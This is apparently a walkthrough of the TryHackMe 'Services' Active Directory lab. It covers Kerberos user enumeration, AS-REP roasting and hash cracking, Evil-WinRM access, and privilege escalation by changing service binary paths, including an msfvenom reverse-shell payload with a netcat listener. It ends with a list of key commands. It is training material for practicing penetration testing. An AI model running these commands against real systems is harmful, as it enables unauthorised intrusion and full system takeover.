Active Directory Penetration Testing | TryHackMe Services

We come upon a website that lists some fictional firm employees’ entire names. We create some usernames using these names and use a method known as AS-REP Roasting to obtain a password hash. We can gain initial access to the server using this hash, and we can see that the username j.rock belongs to the Server Operators group. This enables us to launch a service that can carry out any custom command we want. Using this, we can log in as the system user and have full access to the computer. This was part of TryHackMe Services

Enumeration and Initial Foothold

I started with an Nmap scan using nmap -A -PN <target_IP>. This revealed several open ports: DNS (port 53), a web server (port 80), Kerberos (port 88), LDAP (port 389), and others, all indicative of an Active Directory environment. The scan also revealed the DNS domain name: services.local.

On the web server, I found team members’ names on the “About Us” page. The footer contained an email address with a specific format (e.g., j.doe@services.local), which I used to create a list of potential usernames.

For Kerberos user enumeration, I used kerbrute_linux_amd64 userenum --dc <domain_controller_IP> -d services.local users.txt with my list of potential usernames. This confirmed several valid usernames.

Since I had no passwords, I attempted AS-REP roasting to find users with Kerberos pre-authentication disabled. I used the GetNPUsers.py script from Impacket: impacket-GetNPUsers services.local/ -usersfile users.txt -dc-ip <domain_controller_IP> -request. This successfully identified a user (j.roe) with pre-authentication disabled and retrieved their TGT hash.

I saved the hash to a file (e.g., hash.txt) and used John the Ripper to crack it: john hash.txt --wordlist=<path_to_wordlist>. The cracked password was “serviceworks.”

For initial access, I used Evil-WinRM to log in with the compromised credentials: evil-winrm -i <target_IP> -u j.roe -p serviceworks. This provided me with a PowerShell session.

Privilege Escalation

I began with manual enumeration by running whoami /all to check the current user’s privileges and group memberships. I found that j.roe was a member of the “Server Operators” group, which allows starting and stopping services, and also part of “Remote Management Users.” I also used Get-ComputerInfo to gather more system details like OS version (Windows Server 2019) and architecture (64-bit).

I explored two methods for service manipulation:

1. Adding User to Administrators Group: The idea was to modify the binary path of a service to execute a command that adds the current user to the local Administrators group. I first enumerated services using sc.exe query (or Get-Service). I chose “Active Directory Web Services” (service name: adws). I then configured the service’s binary path: sc.exe config adws binpath= "net localgroup administrators j.roe /add". After stopping (sc.exe stop adws) and starting (sc.exe start adws) the service, and then logging out and back in with j.roe via Evil-WinRM, whoami /all confirmed that I was now part of the “BUILTIN\Administrators” group. Even with administrator privileges, I had an issue displaying the root flag directly with the j.roe user. To overcome this, I changed the administrator’s password using net user administrator Password123!. Then, I logged in as the administrator using Evil-WinRM to retrieve both the user and root flags.
2. Reverse Shell: An alternative privilege escalation method was to get a system-level reverse shell. I generated a Windows reverse shell payload using MSFVenom: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your_IP> LPORT=<your_port> -f exe -o shell.exe. I then uploaded shell.exe to the target machine using Evil-WinRM’s upload /path/to/local/shell.exe C:\Users\j.roe\Documents\shell.exe. I chose a different service, “AWSLiteAgent,” and modified its binary path to point to the uploaded shell: sc.exe config AWSLiteAgent binpath= "C:\Users\j.roe\Documents\shell.exe". On my attacker machine, I started a Netcat listener: nc -lvnp <your_port>. Finally, I triggered the shell by stopping and starting the “AWSLiteAgent” service (sc.exe stop AWSLiteAgent and sc.exe start AWSLiteAgent). This resulted in a reverse shell connection, and whoami confirmed the shell was running as nt authority\system.

Key Commands

Here are the key commands I used:

• nmap -A -PN <target_IP>
• kerbrute_linux_amd64 userenum --dc <domain_controller_IP> -d services.local users.txt
• impacket-GetNPUsers services.local/ -usersfile users.txt -dc-ip <domain_controller_IP> -request
• john hash.txt --wordlist=<path_to_wordlist>
• evil-winrm -i <target_IP> -u j.roe -p serviceworks
• whoami /all
• Get-ComputerInfo
• sc.exe query (or Get-Service)
• sc.exe config adws binpath= "net localgroup administrators j.roe /add"
• sc.exe stop adws
• sc.exe start adws
• net user administrator Password123!
• msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your_IP> LPORT=<your_port> -f exe -o shell.exe
• upload /path/to/local/shell.exe C:\Users\j.roe\Documents\shell.exe
• sc.exe config AWSLiteAgent binpath= "C:\Users\j.roe\Documents\shell.exe"
• nc -lvnp <your_port>
• sc.exe stop AWSLiteAgent
• sc.exe start AWSLiteAgent
• whoami

I found that practicing these types of machines on TryHackMe is highly recommended to improve Windows Active Directory penetration testing skills.

TryHackMe Room Answers

Video Walkthrough